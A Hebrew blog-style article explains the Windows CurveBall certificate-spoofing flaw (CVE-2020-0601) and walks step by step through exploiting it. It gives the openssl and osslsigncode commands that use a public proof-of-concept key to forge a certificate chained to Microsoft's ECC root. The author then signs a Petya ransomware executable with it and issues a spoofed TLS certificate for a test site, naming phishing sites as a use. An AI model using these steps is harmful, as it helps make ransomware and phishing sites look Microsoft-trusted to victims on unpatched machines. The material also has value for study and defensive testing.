הסבר וביצוע CVE-2020-0601 CurveBall – לחתום קובץ או תעודת SSL
CVE-2020-0601 קיבל בCVSS ציון של 8.1 (כל התקפה מעל 8 מוגדרת קריטית) למעשה החולשה מגיעה מהצורה בה חתימה דיגיטלית של תעודה משתמשת ב ECC – Elliptic Curve Cryptography (למשל כמו בפרוטוקול DIffie Hellmen שיש שימוש ב Elliptic Curve).
לפי ההסבר של NSA ומומחים נוספים, כאשר מיוצר הפרמטר G ה Generator, מיקרוסופט לא בודקים את ערך זה וכך למעשה התוקף יכול לספק ערך G משלו.
בזמן אמת כאשר מערכת ההפעלה תבדוק את התעודה היא תבדוק רק את ה Public Key ותשווה את זה לתעודה עצמה ולתעודה הנמצאת ב Trusted Root Certificate Authority ואז תשתמש בערך G של התעודה.
זאת אומרת שתוקף יכול לחתום "תעודה דיגיטלית" לאפליקציה וכך ליצור מצג שווא "כאילו" מיקרוסופט חתמה לו על האפליקציה.
בצורה זו למעשה התוקף יכול לשלוח קובץ "כופרה" Ransomware והמחשב למעשה לא יציג למשתמש אזהרה על הקובץ, שכן הקובץ חתום ע"י מיקרוסופט (כמובן שמערכת AV, אמורה לעלות על הכופרה, אך אם בוצע לו Packer אז יכול להיות שאין חתימה…)
דוגמה נוספת היא ברמת הדפדפן (שגם אציג במאמר כאן) שנוכל לחתום תעודה לאתר, נאמר "Phishing Site" שבו אני "מזייף" אתר כמו פייסבוק, ג'ימייל וכו'
כך למעשה המשתמש ייגש לאתר עם תעודה תקפה ועוד כזו שמיקרוסופט חתמה עליה וכך יעלה הסיכויים שהמשתמש יזין את פרטיו באתר.
ניתן לקרוא פרטים נוספים כאן
למשל בצורה הזו, חתמתי "כופרה" ע"י תעודה של מיקרוסופט ובכך הפכה הכופרה לחתומה.
*בהמשך המאמר אציג כיצד בצעתי את החתימה
כעת נבצע דוגמה, ניקח מפתח פרטי שנוצר מהתעודה של מיקרוסופט (במקרה כאן זה תעודת של מיקרוסופט שנמצאת ב Trusted Root Certificate) שם התעודה Microsoft ECC Product Root Certificate Authority 2018
מיקרוסופט הוציאה רשימת עדכונים לאיזה מערכות הפעלה ומספר בילד
הרשימה ארוכה למידי
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for ARM64-based Systems
Windows 10 Version 1709 for x64-based Systems
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1803 (Server Core Installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
נחתום את Petya Ransomware
ע"י POC שיצר "ollypwn" לקחתי את המפתח הפרטי שנוצר מתוך התעודה של חברת מיקרוסופט תעודת Root Trusted Certification בשם
"Microsoft ECC Product Root Certificate Authority 2018" ומהמפתח הפרטי הזה אצור תעודה שאיתה אחר כך אוכל לחתום על האפליקציה או אתר SSL
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
התעודה שנוצרה
לאחר מכן ניצור מפתח חדש, המפתח הזה ישמש אותנו לחתום "אפליקציות"
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
כעת ניצור CSR בקשה של תעודה, במצב נורמלי, CSR ישלח למשל לחותם רשמי כמו COMDO או מיקרוסופט או סימנטק וכו'
אבל בגלל שיש לנו תעודה "מזויפת" נוכל לבצע את הבקשה תחילה ואז ממנה לייצר תעודה שאיתה נחתום את Petya Ransomware
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
כעת נחתום את הבקשה ע"י התעודה המזוייפת שיש לנו, ollypwn מציין שהתעודה של מיקרוסופט תקפה עד 2043 ואילו זו שניצור תקפה עד 2047
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
כעת ניצור PKCS12 על מנת לחתום אפליקציות, נשתמש במפתח שלנו ובתעודה ה"מזויפת" על מנת ליצור PKCS12
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
כעת נחתום את Petya Ransomware
osslsigncode sign -pkcs12 cert.p12 -pass a123456. -n "Sign By Tal" -in PetyaRansomware.exe -out PetyaRansomwareSignd.exe
כעת הקובץ חתום, נעביר אותו לWindows 10 בילד מספר 1909 שיצא כמובן ב 2019 חודש 9
כמובן עם סיסמא מוגן ב ZIP
נראה שהווירוס חתום, נבדוק את התעודה לעומק ונגלה שמי "שחתם" אותה, זה מיקרוסופט Microsoft ECC Product Root Certificate Authority 2018
יצירת תעודה לאתר
יצרתי אתר בכתובת Shushan.local וערכתי את הקובץ openssl_cs.conf לכתובת האתר Shushan.local וכעת יצרתי CSR
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
כעת נחתום את ה CSR וניצור תעודה crt
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
כעת אשתמש בקבצים
ה Public Key והתעודה עצמה
cert.crt
המפתח הפרטי
cert.key
ה Intermidate Certifciate
spoofed_ca.crt
Windows 10 בילד מספר 1909, והוא סומך על האתר כאילו לאתר יש תעודה חתומה ע"י מיקרוסופט
**אציין שהשתמשתי בPOC של ollypwn
1 comment
דאַנקען פֿאַר ייַנטיילונג. איך בין צופרידן פֿאַר די אינפֿאָרמאַציע וואָס איך לייענען פון איר.